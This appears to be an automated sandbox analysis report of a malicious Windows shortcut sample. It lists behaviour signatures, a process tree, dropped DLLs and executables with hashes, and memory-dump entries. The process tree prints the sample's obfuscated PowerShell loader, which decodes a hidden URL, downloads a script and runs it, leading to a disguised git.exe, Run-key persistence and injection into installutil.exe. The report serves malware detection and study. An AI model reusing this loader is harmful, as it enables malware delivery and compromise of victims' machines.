Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:19

General

  • Target
    photov_040252321148.lnk
  • Size 1KB
  • Sample260727-pg778astdz
  • SHA256 7ef5a83b16118a752234428c2e2838ad590dd5fea3838a4b510800c5478a2ad7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 21 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_040252321148.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$fyeqqy=45;$t8p_d6=86;$h9z4ly=49;$i5qjr=[bigint]::Parse('9951692400707118995005663638400673766169103');$ynrux=[bigint]::Parse('53672997439215584117961094806');$i5qjr=$i5qjr-$ynrux;$ywfeqze=@();while($i5qjr -gt 0){$ywfeqze+=[char][int]([bigint]::Remainder($i5qjr,256));$i5qjr=[bigint]::Divide($i5qjr,256)};.([scriptblock]::Create((irm(-join$ywfeqze))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$fyeqqy=45;$t8p_d6=86;$h9z4ly=49;$i5qjr=[bigint]::Parse('9951692400707118995005663638400673766169103');$ynrux=[bigint]::Parse('53672997439215584117961094806');$i5qjr=$i5qjr-$ynrux;$ywfeqze=@();while($i5qjr -gt 0){$ywfeqze+=[char][int]([bigint]::Remainder($i5qjr,256));$i5qjr=[bigint]::Divide($i5qjr,256)};.([scriptblock]::Create((irm(-join$ywfeqze))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5812
        • C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\git.exe
          "C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2304
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:564
  • C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\git.exe
    "C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4612
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:5772
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:5140
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5372

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        affdbbyss_ebmf_ptqqx.zip

        • Path C:\Users\Admin\AppData\Local\Temp\affdbbyss_ebmf_ptqqx.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\jiyqglu_koztmln_upd_bamr\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/564-2053-0x00000000059C0000-0x0000000005A26000-memory.dmp

        memory/564-2054-0x0000000006800000-0x0000000006892000-memory.dmp

        memory/564-2055-0x0000000006E60000-0x000000000741A000-memory.dmp

        memory/1480-164-0x00007FFA7E2D0000-0x00007FFA7E3EF000-memory.dmp

        memory/1480-162-0x00007FF7C4DA0000-0x00007FF7C520F000-memory.dmp

        memory/1480-166-0x00007FFA7A840000-0x00007FFA7A8F6000-memory.dmp

        memory/1480-165-0x00007FFA904C0000-0x00007FFA904E6000-memory.dmp

        memory/1480-163-0x00007FFA7E4E0000-0x00007FFA7E532000-memory.dmp

        memory/2304-172-0x00007FFA7E4E0000-0x00007FFA7E532000-memory.dmp

        memory/2304-174-0x00007FFA904C0000-0x00007FFA904E6000-memory.dmp

        memory/2304-173-0x00007FFA7A840000-0x00007FFA7A8F6000-memory.dmp

        memory/2304-171-0x00007FFA7E2D0000-0x00007FFA7E3EF000-memory.dmp

        memory/2304-170-0x00007FF7C4DA0000-0x00007FF7C520F000-memory.dmp

        memory/4612-210-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-201-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-198-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-212-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-230-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-252-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-256-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-260-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-276-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-175-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-176-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-178-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-180-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-182-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-184-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-186-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-188-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-190-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-192-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-194-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-196-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-202-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-204-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-206-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-208-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-214-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-161-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/4612-216-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-218-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-220-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-222-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-224-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-167-0x0000000004FA0000-0x0000000004FBA000-memory.dmp

        memory/4612-169-0x0000000004FE0000-0x000000000500C000-memory.dmp

        memory/4612-226-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-228-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-232-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-278-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-274-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-272-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-270-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-268-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-266-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-264-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-262-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-258-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-255-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-250-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-248-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-246-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-244-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-242-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-240-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-238-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-236-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/4612-234-0x0000000004FE0000-0x0000000005006000-memory.dmp

        memory/5772-107-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/5812-22-0x0000022AB5FF0000-0x0000022AB5FFA000-memory.dmp

        memory/5812-25-0x0000022ACE390000-0x0000022ACE3B4000-memory.dmp

        memory/5812-11-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-12-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-13-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-14-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-15-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-9-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-0-0x00007FFA8500F000-0x00007FFA85010000-memory.dmp

        memory/5812-24-0x0000022ACE390000-0x0000022ACE3BA000-memory.dmp

        memory/5812-135-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-16-0x0000022ACE7C0000-0x0000022ACE982000-memory.dmp

        memory/5812-104-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-30-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-19-0x0000022AB5FD0000-0x0000022AB5FEE000-memory.dmp

        memory/5812-20-0x0000022AB6050000-0x0000022AB6102000-memory.dmp

        memory/5812-21-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-8-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-10-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-23-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-137-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-26-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-27-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-28-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-29-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-39-0x0000022AB6110000-0x0000022AB6122000-memory.dmp

        memory/5812-37-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-36-0x0000022AB6010000-0x0000022AB601A000-memory.dmp

        memory/5812-35-0x0000022ACEEC0000-0x0000022ACF3E8000-memory.dmp

        memory/5812-34-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-33-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-32-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-31-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-7-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-6-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-2-0x0000022AB5BD0000-0x0000022AB5BF2000-memory.dmp

        memory/5812-3-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

        memory/5812-1-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp